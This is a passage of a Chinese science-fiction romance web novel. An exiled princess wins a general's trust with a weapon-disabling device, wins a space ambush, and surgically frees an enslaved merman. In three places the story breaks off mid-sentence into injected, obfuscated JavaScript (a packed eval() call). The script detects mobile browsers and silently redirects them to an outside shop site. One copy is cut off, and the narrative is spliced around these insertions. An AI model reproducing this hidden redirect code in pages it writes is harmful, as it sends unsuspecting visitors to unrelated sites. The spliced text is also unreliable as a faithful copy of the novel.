在这柄透明巨伞的笼罩下,士兵们扣下扳机,却发现手中的三级粒子枪发出“噼啪”一声,再也无法射出哪怕一发子弹。 所有的热武器在女人身边都失效了。 意料之外的情况,让士兵们愣了一瞬。 士官一咬牙,发令道:“近身战!” 越野车发出响亮的轰鸣声,如同一头蓄势待发的凶猛巨兽,无声地告诉着在场众人,只要有人敢上前,它就会将那人狠狠撞飞。 栗胤转了转手中的伞柄,微笑着重复道:“我无意为敌,只是想见见你们的长官。” 二十分钟后。 经过严密的押送和警戒,栗胤一行三人进入基地会客室,成功见到了伊万星的将军。 伊万星上大多是有着黑豹基因谱系的斐戎族亚人,肤色黝黑,体格强壮,将军也不例外,一双圆耳立于头顶,那对眼睛是接近金色的琥珀色,有着斐戎族标志性的竖状瞳孔,眸光凛冽。他负手而立,身姿笔挺地站在会客室中心。 在将军的身影映入眼帘的时候,栗胤的双眼已经亮了起来。等看清将军的长相,她更是双眼发直,毫不掩饰自己对他的惊艳。 白纶的眼角跳了跳。 一瞬间,他甚至怀疑栗胤是不是因为知道伊万星盛产黑皮帅哥,才选择加入这一边的阵营。 “我是纳特。”身着军装、身材健硕的将军沉声道,“说吧,你见我的目的到底是什么。” 栗胤将手中那把奇特的伞放在了会客室的桌上。 “小小见面礼,不成敬意。” 就是这把伞,将半个军事基地的热武器都化为了凡铁。 纳特眼中露出奇特的色彩,他锐利地直视栗胤,听她解释道:“它的储能原件靠伞骨发射,能够远距离破坏粒子碰撞,让所有粒子武器失效,因而名为「蚀雨」。这一把是样品,如果给我足够的能源矿,加大它的功率,它能够覆盖的范围是……” 她停顿了一下,抬眸望向伊万星的将军,“——一整颗标准行星。” 科技能扭转战争。 「蚀雨」的技术,在科技水平远超澳绔星系的天鹰星系都严加保密,只有军方高层才知晓。 而栗胤,曾是天鹰系第一王储。 「蚀雨」的发明者,正是亲手培养出了她一身机械改造技术的老师。 纳特的呼吸有瞬间急促。 他很快调整好情绪,问道:“你想要什么?” “武器要出其不意才能发挥它最大的作用。”栗胤不紧不慢地说,“如果将军信任我,让我领兵,我愿意再送将军一场胜利。” 这一下,纳特再也无法掩饰心中的惊讶,不可思议地看着面前的女人。 拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242905|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这样的技术,却不求荣华富贵。她仿佛在告诉他,制作这把前所未有的武器不过是她最不值一提的能力,是她为了见到他的敲门砖,根本不足以作为他们交易的筹码。 她远比他想象的更有价值。 纳特看着她,看到的是丝毫不加以掩饰的野心。 纳特身旁的一个下级士官出声嗤道:“就凭这把破伞,你也想领兵?你不会说要带兵直接去里斯星生擒他们的大统领吧?” “用兵讲究天时地利人和,没有充分的把握,我不会贸然深入敌方阵地。”栗胤没有露出被冒犯的不快,而是仔细解释道,“伊万星和里斯星的战争持续多年,彼此将领都差不多熟悉了双方的布局模式,却依旧胶着。里斯星人口丰富,兵力远超伊万星,但伊万星能一直与其势均力敌,靠的是——”她微微一笑,“识人善用。” 对战局的把握,言语间清晰的逻辑,都显示出她在军事上那份敏锐独到的理解与判断力。 她想要掌兵,并非口出狂言。 纳特笑了,他的态度和一开始相比,有了明显的改善。 “你恭维我也没用,出兵无儿戏。”他说,“所以,让我详细听听你的计划。” 这句话已经有了松口的意思。 栗胤却并未因将军的松口而喜形于色,她拉开椅子坐下,单手托腮,好整以暇道:“来者是客,伊万星将军的待客之道,就是和人口干舌燥地讨论用兵大计吗?” 纳特笑着摇了摇头。 “维塔。”他向方才对栗胤无礼的士官吩咐道,“去备一壶好茶。” 这一场交谈,从烈日当空,一直持续到了星河漫天。 “两日后的突袭,领兵权交给你,梨音小姐。”纳特说,“但我会一同前去,在一旁监督。” “说监督也太生分了。”栗胤笑道,“有将军坐镇,士兵们才会更服从,有劳将军了。” 一张嘴巧若灿莲,进退有度,交谈中隐隐显露的上位者气场,莫名让人想要臣服于她。 纳特送她出了楼,吩咐士官将她和她的警卫与管家带领到专门的房间休息。 两天后便要出兵,时间紧迫,既要改造「蚀雨」,又要与军队磨合,栗胤应邀直接住进了军事基地。 她没有回飞船,同样也是为了让纳特一方安心。 看她在夜幕下离开的身影,纳特一颗心这才激昂跳动起来,琥珀色的竖瞳中闪烁着灼热的火光。 这样的女子,除了妲尼娅女皇外,他还是第一次见到。 她绝不是她口中说的,一个普普通通的贵族小姐。 情报人员半天前就调来了她的档案,显示她和她的两个随从来自澳绔星系边陲的一颗普通行星,这是他们第一次出境。 挑不出一点毛病,但,谁信? 她那张脸也不是她真正的脸,眼线模糊了眼睛原本的轮廓,口腔内应该填充了东西改变了颧骨形状,连瞳色都做了掩饰。化妆技巧倒是很高明,若非那么近距离的交谈还真看不出来。 可她若是真能给伊万星带来久违的胜利,那么这小小的隐瞒,也就不那么重要了。 走在通往休息室的路上,空气异常地沉默。 栗胤转过头,看到年轻的银狼抿着嘴,有些别扭地看着一旁。 她忽然开口道:“白纶,看天空。” 银狼应声抬起双眸。 他的头顶是满天的璀璨。 军事基地远离城镇,没有地面的光,头顶的星空显得尤为明亮。 荒狱星在宇宙边际,唯一的光源来自星球内部的人工改造,不分四季和日夜,他过去十七年的天空,从来没有过这样的风景。 “伊万星并没有天体卫星,也就是说,这颗星球上不存在月亮,所以这里的星星会格外明亮。”栗胤同样出神地看着天空,“两天后,这里的天空会出现一场流星雨。” “流星雨……” “可惜,我们不能在地面悠闲地欣赏流星雨了。”栗胤抬手指天,对他眨眨眼,“我们会在流星之中。” 白纶眸光闪烁,年轻的脸上毫无畏惧,只有向往。 “不过月亮也有月亮的美,等我们前往下一颗星球时,你要是到了能喝酒的年纪,白纶,我带你饮酒赏月。” 她的脸庞在星空的光芒下,多了一层柔和与幽静。 白纶心底那些怅然倏地淡去了。 与将军交谈时的她锋芒毕露,他几乎要跟不上她的思路。 他比之前更清晰地意识到,她生来高贵,即便一朝跌落谷底,却依旧熠熠生辉,吸引着所有人的视线。 他毫不怀疑,她是未来要成为女皇的人。 他那时候想,她那么厉害,真的还需要他吗? 可是这样的栗胤,却会在回程的路上,邀请他一起观赏星空。她说,他们还要一起饮酒赏月。 头顶覆上一只柔软的手掌,那手摸了摸他的脑袋,又不安分地捏了捏他的耳朵。 白纶看着头顶温柔的星光,耳尖发着烫,嘴角却不自觉地勾了起来。 19. 第十九章 舞台 两天时间转瞬即逝。 白纶坚持要贴身保护栗胤,跟着栗胤一同登上了伊万星的星际军舰,籍允则留在军事基地中,负责通过终端向他们提供远程的技术支援。 星际军舰自地面升起,冲破星球的引力来到太空后,打开了甲板的屏障。数千艘战舰自军舰的甲板飞起,流萤般围绕在军舰周遭,等待着来自上级的指令。 栗胤透过指挥台的画面,看着太空中的缭乱光影,表情有片刻怔忪。 这是她第一次亲自来到前线。尽管军事科目的考试成绩优异,宠溺女儿的老库尔维耶皇帝却从未让她去过危险的地方。以往,她只在全息游戏中体验过领兵作战的感觉。 她的心中滑过一阵难以言喻的激荡。 这是属于她的舞台。 ` 弗瑞德是里斯星的将军。 连年的战争让人疲惫,他也不例外。但好在胜利在望,近两年的战斗,伊万星连连败退,再难成气候。 今天的作战尤其顺利。伊万星居然想着来一波奇袭,却不知他们的舰队根本没逃过斥候的眼睛,他将计就计,在他们深入阵地时半途发难,直接冲散了伊万星舰队的阵型。 交汇对战中,弗瑞德注意到对方竟没有用粒子武器,而是换回了老旧的射线枪。 肯定是粒子能源的库存用完了! 他果断抓住这一弱点,用武器优势痛击敌方,打得伊万的舰队狼狈败退。舰队在败逃时还屋漏偏逢连夜雨,遇到了流星群,被冲散了方向。 “天佑我里斯星,”弗瑞德一拍大腿,“这群流星体来得好!” 澳绔星系中央这条小行星带是东西两边天然的分割线,因小行星的密集碰撞,流星体也格外频发。 这些汇集了小行星碰撞碎片、宇宙尘埃、天体喷发物质的微小固体颗粒在星系内各个星球的引力推动下缓慢移动着,最终被某一个行星的引力彻底捕获,在大气层因高速与空气摩擦而电离解体,化作星球天空中转瞬即逝的流光。 这一片流星群体的目的地,正是伊万星。 它们个体虽小,在宇宙中汇聚在一起时,却是飞船最需警惕的障碍物。 看似缓慢,在迎面撞上飞船时,速度的相对质量却堪比大炮,能轻易贯穿飞船的甲板。 流星群因舰队的前进而被甩到视野后方。宇宙静寂无声,画面落入眼中却仿若有雷霆轰鸣。 如同贺胜的号角。 弗瑞德已经好久没打过这么痛快的胜仗了,深觉此刻应该乘胜追击,他大手一挥,也将自己的舰队兵分两路讨剿残兵。 前方穷途末路地飞速逃窜,他们便也加快马力追赶,舰队扎入了小行星带中。 此时的伊万星舰队中,有一艘战舰正在以超出想象的速度疾驰。 因为她的速度太快,在流星体和小行星带的掩护下,里斯军队里甚至没有一个人注意到她的存在。 白纶脸色发青,双手死死地拽着肩压杆。高速战舰配备惯性阻尼器,本该化解舰艇变速和转向时的重力影响,但战舰如今的速度早已突破惯性阻尼器的极限。视野的边缘阵阵发黑,这是加速时的G力压迫脑神经而产生的灰视现象。 一旁的座位上,伊万星将军纳特的状况比他好一些,但也呼吸急促,身体绷得僵硬,手心发汗。 透过他们的视角望向战舰前方的舷窗,只能够看到一颗颗流星体在向他们飞速靠近,却又在转瞬被战舰抛到身后——也可能是身下或者身上。速度太快,转向太频繁,他们的眼睛只能紧紧盯着前方的星河,而周围的环境在这个速度的感知下只剩一片模糊。 ——怎么会有人把飞船驾驶到这份上? 即便再不适,两个亚人也没有发出一点声音,避免干扰到坐在主驾驶席上那个全神贯注的女人。 她的手指在仪表盘上飞速操作着,舰艇外面的环境瞬息万变,而她却像是在湍急水流中的锚点,稳稳地控制住了飞船的前进。 她不曾对白纶他们说过,她是第十届寰宇杯机甲大赛的冠军,是天鹰星系这一代中最优秀的驾驶员。 不论是机甲,抑或是,任何一艘星际舰艇。 周围越是危险,她的表情就越是平静,嘴角甚至微微勾起一道弧度,带着改色瞳片的黑色双眸下隐隐泛起金色的光芒。 耳畔回响起两日前伊万星将军的质疑声:“让舰队冲入流星群?即便在宇宙中,流星体的速度和冲击力也绝非战舰能够承受的。恕我直言,这无异于自寻死路。” 她没有丝毫退让,直视纳特的眼睛:“唯有如此,里斯星的将军才会相信这是一场意外,而非一个圈套。” “里斯星的兵力占优,若不分散他们的兵力,这场战争就没有胜算。” 纳特的竖瞳中倒映着女人没有一丝动摇的脸。他抿了抿唇:“那么,你要如何保证我们的舰队在流星群的冲击下还能剩下和里斯星军队对抗的战力?” 圆桌的中央是立体投影的澳绔星系军事沙盘,栗胤的手指在交战区的小行星带上划过,代表伊万星舰队的光点顺着她的指尖自小行星带分散开来,唯有一个光点因深入流星群而显得格外明亮。 “真正冲入流星群的,只需要一艘舰艇。”栗胤说,“有那艘舰艇在,其他舰艇就能以此为契机,兵分两路向南北两侧分散里斯军队的兵力,而不引起对方的怀疑。” 纳特的眸光闪动。不可否认,他确实被她说动,但他也仍有顾忌。 按照她的说法,要以舰艇那样的速度进入流星群,只有落得和流星体相撞的下场,必死无疑。 他沉重道:“你要让谁成为驾驶这艘舰艇的牺牲品?” “牺牲品?”栗胤微微睁大眼,忽而展颜笑开。 “不,不会有人因为遇到区区流星群而牺牲的。”她的嘴角微勾,话语掷地有声,“那艘舰艇,由我来驾驶。” “纳特将军也在你的船上,你是想带着将军一起送死吗!”一旁的维塔士官闻言,急得拍着桌子站起来反驳她。 “维塔。”纳特再次出声制止了他。 他深深看着栗胤。 黑发黑裙的女人神态自若地面对来自他人的非议和反驳,如同静水深流的湖泊,不显锋芒,却又深不可测。 维塔不甘心地劝诫道:“将军,至少要测试一下这个女人的驾驶技术!” “你可以测试我。但别忘了,”栗胤对他道,“流星体会在52个系统时后经过小行星带。在这52个系统时内,你们要完成整兵列队、材料搜集,而我要完成「蚀雨」的大功率改造。” “若是错过这一场天然的东风,想要在人数全面落后的情况下取得胜利,会让伊万星付出更多代价。” 她望向纳特将军,掷地有声:“你在畏惧什么?又一次的失败?这两年伊万军队被里斯军压得节节败退,你们的失败还少吗?” “女人,注意你的言语!”维塔气得要爆炸了。 栗胤却完全没在意他,她直视着纳特的眼睛说道:“而倘若胜利,这将是伊万军时隔两年、扭转战争风向的转折点。” “纳特,伊万军队敢不敢赌这一把? “你敢不敢赌这一把?” 那个时候,纳特分明在女人黑色的眼中看到金光闪过。 ——我居然真的被她鼓动,走出如此冒险的这一步棋。 堪比斯兰特芙女皇的鼓舞…… 黑豹将军的手掌紧紧扣着扶手,一眨不眨地看着自己乘坐的战舰在栗胤的操作下飞出流星群,又马不停蹄地调转方向往战局深处驶去。 深邃的星河之中,战舰的表层泛起波澜,如同一幅画慢慢褪去颜色,最终化作一片透明,成为宇宙中的一滴无形之水。 镜面伪装开启。 隐形在宇宙中的战舰需要极其精细的飞行技术,才能在完全不引起其他人和雷达注意的情况下移动。 她化为鬼魅,以难以想象的速度越过一颗颗小行星、一艘艘舰艇,最终静悄悄地融入伊万军队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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要让里斯军的将领相信信号消失是星球磁场的影响,那一块区域内伊万军队的信号也必须要同时隔绝。 这样才能神不知鬼不觉地打开「蚀雨」,在里斯的将领没有反应过来之前解决掉手无寸铁的大半里斯军队,杜绝之后围剿时可能赶来的敌方支援。 屏蔽了信号不意味着他们无法得知另一边的情况。 毕竟,他们有整个虹河系最好的黑客。 籍允在每艘战舰上植入的小黑程序,能够捕捉最微小的磁场变化,向地面通信传达战场瞬息万变的信息。 栗胤的神情没什么变化,双眼却愈发明亮,战舰按照计划在里斯将军的飞船前驶过,故意开得歪歪扭扭,如同被猎手盯上的狼狈猎物,向着前方两颗巨行星冲去。 看着雷达盘上紧跟其后的里斯星战舰,栗胤的嘴角笑容更深。 釜底抽薪,计成。 到了该收尾的时候了。 弗瑞德心情极好。 他眼看着纳特的舰艇慌不择路,一头扎入了两颗巨行星的罅隙。 这两颗巨行星贴得极近,星球外壳是坚固的青钢,如同两堵天然望不到头的墙壁。飞船行驶在这段空间内稍一不注意就会被星球的引力牵扯,坠落到毫无缓冲的坚硬地表。 相当于逃窜的猎物钻入管道,生生缩小了自己能逃跑的范围。 弗瑞德大笑一声,满脸势在必得的自信:“加速追击!” 在通过两颗巨行星间最狭窄的缝隙时,弗瑞德看到前方的战舰甲板处,撑起了一把没有伞面的巨伞。 有光线自炮筒凝聚,前方的舰载射线炮对准了他们的战舰,蓄势待发! “区区射线炮,也敢在我面前舞?”弗瑞德下令,“架起粒子炮筒,和他们对冲!” 站舰内寂静了半晌。 炮弹兵满头大汗地喊道:“将军,粒子武器……失效了!” “失效了?怎么可能!” 弗瑞德脑中“嗡”地一声,快步走到粒子炮筒边上,粗暴地按着启动按键。 回应他的,是炮筒的纹丝不动。 像有一条冰冷的蛇顺着脊骨往下游走,弗瑞德来不及感到心悸,舰艇剧烈地抖动了一下。 他们追得太紧,和伊万星的战舰靠得极近,射线炮精准地击穿了他们的舰翼! 请君入瓮,计成。 20. 第二十章 手术 在这种危机关头,作为里斯星将军的弗瑞德还是保留了审时度势的判断力,咬牙道:“丢掉左侧舰翼,返航撤退!” 他们调转了舰身后,赫然发现身后和上下的退路,均已被伊万星的舰艇包围。 那两颗巨行星不是困住纳特的管道,而是掩盖伊万星主力军队的屏障! 是针对里斯舰队的陷阱! 冷汗遍布弗瑞德的额头。 ——纳特,他根本是故意出现在窗边,让自己看到的! 他看准了他会跟着他,走右路进行追击! 先是分散他的战力,再以自己为诱饵确保他跟着他驶入巨行星的罅隙,最后才将那个不得了的、能大距离破坏粒子武器的设备祭出,使里斯星军队失去所有的战力,还不忘切断他所有的逃生路线。 每一步的环环相扣,计算之缜密,彻底将他关入了瓮中,成为了那只被生擒的鳖。 怎会如此? 澳绔星系内战至今二十系统年,他和纳特互为死对头也近十年了,那家伙何时有了这样的计算能力和胆量? 纳特看着眼含笃定笑容的栗胤,就着远处束手就擒的弗瑞德的背景,只觉惊心动魄。 这个女人对战场的谋划诡谲难测,不仅精确地把握了庞大的澳绔系行星带的特性,最大范围地利用分流将对手一步步削弱、以少敌多,对敌方将军的性格把控也丝毫不差。 甚至把他也算计了进去。 她如果不是常年浸润战场,就是天生的战术家。 纳特作为将军必须要端着,栗胤身旁的那匹银狼则不需要。 他未经历过战争,这是他第一次上战场,却是在栗胤身边,看着她运筹帷幄,有惊无险地拿下了胜利,因此,他并未觉得战场是个多危险的敌方。 他已经从过载G力的不适中恢复过来,血液中的沸腾却还未平息,不由开口奇道:“敌方的将军……是这么好抓的吗?” 纳特:“……” 他与弗瑞德针锋相对十年,深知对方的阴险狡诈,有多少次,他差点就命丧对方的枪下,他旗下因对方丧命的士兵也数不胜数,每一个生命的逝去都让他心中怅痛无比。 他们互为仇敌,也是双方的梦魇。 但这些痛苦往事,他都无法与这匹年轻的银狼诉说。 栗胤勾唇:“仗势欺人罢了。” 仗着高出一个层次的科技力,来面对一无所知的敌方。 一把剑最锋利的时候,是敌人还未见识过它的锋芒之前。 等亮出过一次底牌,对方就会有所准备。 所以新剑出鞘的第一次,就必须要痛斩对方七寸。 “梨音小姐谦虚了。”纳特的语气中带着敬意,“如此谋略,绝非常人。” 不战而屈人之兵,善之善者。 还有她那手绝乎奇迹的驾驶技巧,寰宇杯机甲大赛的冠军在她面前恐怕都不是对手。 就算他有「蚀雨」的技术,也做不到能够在流星群中快速穿梭、实现计谋的技术,更没有孤注一掷、堪称疯狂的勇气和魄力。 只有她能完美地完成这一次的作战。 栗胤微微一笑,礼尚往来道:“将军的兵练得也不赖,使唤起来还是挺顺手的。” 虽然对她并不服气,但有纳特在一旁坐镇,还是一丝不苟地执行了她的命令,指哪打哪。 这就是手握利刃的充实感。 她也迫不及待想要拥有自己的舰队了。 完全归属于她、听令于她、奉献于她的舰队。 想想就让她心潮澎湃。 纳特说:“梨音小姐如今可以告诉我,你想要的东西了吧。” 栗胤这回不再跟他客气了。 “先来三百罐V级修复液吧。”她想了想,眸光流转,又加了一句,“对了,还有将军的私人号码。” 纳特愣了一下,接着咧嘴笑了,露出一口整齐的白牙。 “好。”他应下来。 ` 十天时间,栗胤就从军方那里要来了大量的V级修复液,人鱼看着他们回来,面上满是不可思议。 尽管成为奴隶、失去自由多年,他也知道高级修复液是多难获得的东西。就连他的前两任主人所在阶级的权限,也只能购买到IV级修复液。 但不论是什么级别的修复液,那些人都不会舍得在他身上使用。 他们坐拥澳绔星系最奢华的财富圈,能够顿顿品尝最稀有的美食、身穿每一根线都价值连城的高级定制,也不吝啬在买来的奴隶身上花大价钱改造他们的身体,只为贪得一晌欢愉,却不会为奴隶自身的需求花费哪怕一点信诺币。 一旦奴隶因他们的肆意妄为而生病、受伤,幸运的被冷落着自生自灭,不幸的,会被送去更黑暗的改造所解体和销毁。 奴隶对他们而言,不过是打发时间、发泄压力的消耗品。 谁会费心思修理一件消耗品呢? 而栗胤,他的新一任主人,却没有让他继续等哪怕多一秒。 她雷厉风行地离开,又风尘仆仆地归来,第一件事便要向他兑现她的诺言。 她是他见过,最愚蠢、最天真、最……让他情绪复杂、不知所措的主人。 她说,她要让他成为她的伙伴。 伙伴……多么陌生的,久违的词。 “那么,我要拔链条了。”栗胤蹲在人鱼身旁低声道,“你准备好了吗?” 手术在放空了水的水族箱中进行,也只能在这里进行。 她手中握着高频震动、能削骨如泥的分子匕首,争取最快地切开他的尾骨,拔出那条束缚住他的金属链。 由她来主刀,是因为三人之中,她的手最稳。 不远处,是注满了V级修复液的修复舱,只要伤口整齐完整的情况下没入舱中治疗,能将断肢再续。 这一刻,人鱼终于有了对方是真的要给他自由的实感。 他眼中漾开碧蓝的涟漪,薄唇微动,最终什么都没说,只是对着栗胤缓缓点了点头。 要上麻醉时,人鱼出声制止了栗胤的动作。 “不必麻烦了。”他平静地说,“我的身体经过改造,寻常的麻醉剂量无法对我起效。” 同样在一边守着的白纶好奇道:“你怎么知道无法起——” “白纶。”籍允轻轻地制止住了银狼的提问。 这个问题的答案,不需要问就能猜到。 ——人鱼曾有过过麻醉剂没有起效,手术刀划开血肉的经历。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242907|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很有可能,就是在金属链被置入他尾骨的那一次。 为了供人玩乐而调高的身体敏感度,却将人鱼逼入过一次次痛彻骨髓的地狱。 栗胤抿了抿唇,半晌后说:“籍允,调高麻醉浓度。” 黑蛇的动作顿了顿,有些欲言又止。 “不用。”人鱼说,“比起一时的疼痛,过量麻醉的后遗症让我更难忍受。” 提高麻醉浓度同样有它的风险,严重的,有可能损伤大脑。 那种大脑失去自己的想法,让他忘记自己是谁,又因何变成如此境地的感受,才更让他抓狂。 栗胤最终还是同意了人鱼不用麻醉剂,直接在他身上动刀的要求。 为了防止人鱼因疼痛而挣扎,他的双手和鱼尾都被束缚住,口中也被塞了防止咬舌的布料,仰躺在栗胤面前。 这时候,无论栗胤想要对他做什么,他都无法反抗了。 人鱼成为奴隶以来,还是第一次心甘情愿地放下防备,任人刀俎。 分子匕首在触碰到鱼鳞时微微一顿,接着再无犹豫,划开了鱼尾的骨肉! “唔——!!!” 人鱼整个上半身弹起,胸口剧烈地起伏着,双眼无神地睁大,视线被生理泪水模糊。 因做过敏感度改造,刀刃撕裂血肉的痛苦,也是常人的数倍。 便是在这般极致的痛苦中,他的声音也带着别样的悦耳,伤口附近的那一圈鱼鳞,更是鲜红得如同瑰宝。 在人鱼身上活生生拔下的鱼鳞,因极端痛苦的晕染,能永葆这抹最艳丽的红色,一片都能卖出天价。因而曾有人专门抓来人鱼,在对方清醒的情况下一枚枚拔光他的鱼鳞,换取自身的荣华富贵,却不顾人鱼死活。 向来对美色毫无抵抗的栗胤,在此时,眼中却只有手中的利刃,别无他念。 她只想着再稳一些、再快一些,尽早解除人鱼的痛苦。 终于,随着她用力地割开金属链嵌入的那块脊骨,链条滑落到地上。籍允和白纶见状,在最短的时间内将痛到半昏迷的人鱼小心地抬起,送入修复舱中。 栗胤顾不得教养和形象,一屁股坐到地上。 帮人做手术而往对方身上动刀,比为取对方性命将刀送入对方体内要累太多了。 “应该是能够痊愈的。”籍允通过修复舱的控制面板分析了一下人鱼的身体数据,开口让栗胤放心。 “是‘一定’能够痊愈,对吧?”栗胤用手臂抹了把额头的汗水,笑着说道。 籍允怔了一下。 随即他眼眶微弯,温和应道:“嗯,一定。” 人鱼在修复舱中睁开眼睛。 他不知道过了多久,但鱼尾的根部,那个无时无刻不再折磨他的疼痛消失了。 他试着摆动鱼尾,是从未有过的畅快感受。 他没有第一时间起身,而是在修复液中茫然地望着前方失神。 按照他原本的计划,重获自由的第一件事,就是去杀了他的主人。 但是栗胤——栗胤在成为他主人的同时,又给了他自由。 即便在他成为奴隶之前,也从未有人这么细致地对待他。 他或许可以……最后再信任一个人试试。 21. 第二十一章 阚洋 人鱼离开修复舱,鱼尾在落到地面的那一刻,自动分化成了两条人类的腿。 修长笔直,肌肉饱满,从小腿往下覆着一层碧蓝的鱼鳞。 鲜少有人知道人鱼族有这样的能力:在离开水后,鱼尾能够化作双腿在陆地行走奔跑,和其他种族的人类无异。 因人鱼族稀少,几乎从不在异族的人前露面,而零星出现在大众面前的人鱼均没能逃过被圈养奴隶的命运。 他也不例外。自被抓为奴隶,鱼尾又被金属链贯穿,他就再也没能分化他的鱼尾。 他循着声音走出医疗室来到中厅。打开舱门的那刻,原本正在交谈的三个人看到他,皆静了片刻。 人鱼能分化出双腿确实让他们惊讶,但更重要的是…… 栗胤的双眼直勾勾地看着人鱼,那神色格外明亮。 没等他看明白她眼中的意思,她身边那头银狼急促地从椅子上跳起,手忙脚乱地扒下自己的外套朝他身上扔来。 “不害臊!”年轻的银狼骂道,偷偷看了栗胤一眼。 看到她完全没被有不快,反而露出欣赏的神色,白纶的表情更烦躁了。 他都……他都没好意思不穿衣服在栗胤面前晃悠! 人鱼低头看了看自己。 因他从未穿过衣服,他不知道银狼的怒气源自哪里。 是他身上的伤疤太狰狞、太吓人了吗? 还是担心他走出医疗舱时弄湿了地板?他明明有小心地将所有水汽储存在鳞片里面,不会留下任何水渍。 他不知他在鱼尾状态下,鱼鳞能够遮住他的隐私部位,但当他分化双腿后,那和人类别无二致的器官便赤条条地暴露在众人眼前。 浅淡的色泽,雄伟的尺寸,一如他冰棱般凌厉的本人。 栗胤吹了声口哨。 在她的口哨声中,人鱼莫名生出一股说不出来的羞臊感,将白纶的外套围在腰间,这才稍稍自在了些。即便衣服的布料刮擦着皮肤带来些许不适,也好过直接承受栗胤那恍若有实质的目光。 系好衣服,他再抬头望向栗胤时,总感到有一丝违和。 “你的眼睛……” 在自己的船上,栗胤没有维持“梨音小姐”的伪装,而是摘下黑色的美瞳片,卸了妆,以原本的面貌示人。 如出水芙蓉,冠压群芳,倾国倾城。 她冲人鱼笑道:“重新认识一下,我是栗胤,这是白纶和籍允。” 她笑起来,那张脸的明媚耀眼几乎让他挪不开眼睛。 他闭了闭眼,下定了决心。 从未对任何人折过腰的人鱼面向栗胤单膝下跪,低头开口: “我的名字是,阚洋。” 他的声音不再有戒备和凶狠,如同晚霞下拍打戈壁的潮汐,绚烂却又沉稳。 “我是水系行星戈蓝星的领主。” 他抬起头仰视栗胤:“买下我的钱,我会用一生偿还,只求你能够让我回到我的母星,找到我的族人。” 他的话音落下,栗胤没有第一时间回话。 “搞什么。”出声的是白纶,他啧道,“费了那么大工夫救他,结果伤好后转头就要走。” 虽然少了个抢走栗胤注意力的人,但不知道为什么就是有股不爽的感觉。 他的声音不大,却让阚洋有种脸上火辣辣的感觉。 他知道自己欠栗胤的太多了,或许此生都无法还清。可是对他而言,族人是比他生命更重要的事。 “恕我直言。”籍允说,“领主都沦为奴隶,只怕族人也都凶多吉少。” 他的声音平淡,镜片后的红眸泛着冷静的凉意。 这句话,比银狼更深地在人鱼心中扎下伤口。 他唇色泛白,沉默半晌,依旧一字一句坚定地开口:“我总要去亲眼确认的。” 栗胤忽然道:“你的族人,也都是人鱼吗?” 因她话题跳跃,阚洋顿了一下才回道:“……是的。” “戈蓝星,是一颗人鱼的星球?” “对。” “就在澳绔星系里对吧?据我所知,你没有经历过星际跃迁。” “嗯。” “传说中的人鱼星球居然就在澳绔星系……”栗胤喃喃自语。 正好,她需要在这里等待伊万星进一步的消息。 她的眼中跃动起兴致盎然的光茫。 看到这个熟悉的表情,白纶心里莫名“咯噔”一声。 下一秒,他就听见她声音明快地开口:“我和你一起去。” ……他早该想到的! “白纶呢?”栗胤对他歪了歪头。 在心里吐槽归吐槽,听到栗胤问他,银狼当即直起身板:“你去哪我就去哪。” “籍允?” 黑蛇微微躬身:“在飞船下一站的决定上,你有绝对的话语权。” 栗胤嘻嘻一笑:“燃料足够吗?” “已经补充完毕了。” “启航吧!”栗胤宣布完,朝愣住的阚洋问道,“你知道你母星的星际坐标吗?” 阚洋声音干涩开口:“你不必做到这个地步……” “她是去看人鱼的,顺便送你而已。”白纶撇嘴对他说道。 阚洋:“……” 戈蓝星的科技落后,并无星际旅行的手段,因而他不清楚自己母星的坐标。 但他曾在被抓去做俘虏的路上回过头,深深将戈蓝星在宇宙中的模样印入脑中。 包括那颗蓝色水系行星周围的伴生卫星和相邻的行星数量,即便三年为奴,身体和意志皆不断被消磨,他也一直不曾忘记。 那是指引他回家的路。 按照阚洋的回忆,在他被抓去做奴隶的三年间,一共转手过两个主人、两颗星球,并没有经历过星际跃迁。 没有跃迁就好,也就意味着他始终在澳绔星系内辗转,一下子就把搜索范围缩小了大半。 栗胤与籍允根据阚洋给出的信息,对着立体星图投影研究了半天,终于找到了符合描述的星际位置。 以他们飞船的速度,只需航行两个系统日便能抵达。 两天的旅程…… 阚洋垂眸,坚毅的下颌紧绷。 不过两天的距离,却隔了他整整三年。 在路上,他缓缓开口,用人鱼族特有的好嗓子,和栗胤一行讲述了他的过去。 戈蓝星表面大部分都被海洋覆盖,零星的岛屿如同点缀在碧波上的绿色珍珠。 那海水澄澈透明,随着太阳的位置变换,会呈现从蔚蓝到翠绿、再到夕阳下的橙红的斑斓色泽。 巨大的洋流在星球表面交织成复杂的图案,海底壮丽的生态奇景,在水面都能尽收眼底。 人鱼们尽情徜徉在这颗行星中的几乎每一处水域,人鱼的歌声也遍布星球的每一寸空间。 他们结群而居,每当人鱼幼崽过了十岁诞辰,到了能够分化鱼尾的年纪,成年人鱼会将他们送上岸历练成长。 人鱼和自然和谐共处,与世无争,戈蓝星的天空总是蔚蓝入洗,一如人鱼族的眼睛。 直到那一天,无垠的天空中出现一抹黑色的暗影。 